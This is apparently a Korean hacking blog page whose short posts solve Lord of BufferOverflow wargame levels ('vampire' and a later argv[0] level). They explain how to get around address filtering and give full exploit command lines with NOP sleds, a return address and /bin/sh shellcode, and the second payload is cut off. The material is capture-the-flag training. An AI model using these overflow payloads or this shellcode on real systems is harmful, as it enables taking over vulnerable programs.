| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 | 31 |
- pwnable
- gogs private git
- 도메인 https
- pwntools
- codegate2017
- module
- Codegate
- openctf
- 노드 엑셀
- https
- CVE
- https설정
- node
- doorlock
- Git
- lob
- blueborne
- shellcraft
- BLUETOOTH
- 코드게이트2017
- NGINX
- node.js
- 코드게이트
- CODEGATE2018
- Branch
- 코드게이트 주니어
- xlsx
- npm
- gogs
- Hacking
- Today
- Total
고졸백수해킹일기
저번꺼하고 비슷한데 링크파일에 쉘코드를 넣어주는데 대신 argv[0]의 주소가 스택 맨 뒤에 존재함 shellcoder
주소 필터링으로 0x??ff????를 쓸수가 없다.메모리는 거꾸로 자라는 특성을 이용하여 많은 nop를 채워주고 그쪽 메모리로 ret을 돌려 쉘을 딴다 ./vampire `python -c 'print "\x90"*44+"\x9c\x76\xfe\xbf"'` `python -c 'print "A"*99999+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` music worldmusic world
argv[1]번째에 쉘코드를 못쓰고 인자를 1개만 받게 하여 argv[2]에도 쉘코드를 넣을수 없다.따라서 argv[0]번째에 쉘코드를 넣어 호출한다. ret은 core떠서 gdb로 esp레지스터를 끝까지 보면 삽입했던 nop들을 볼수있다../`python -c 'print "\x90"*50+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\..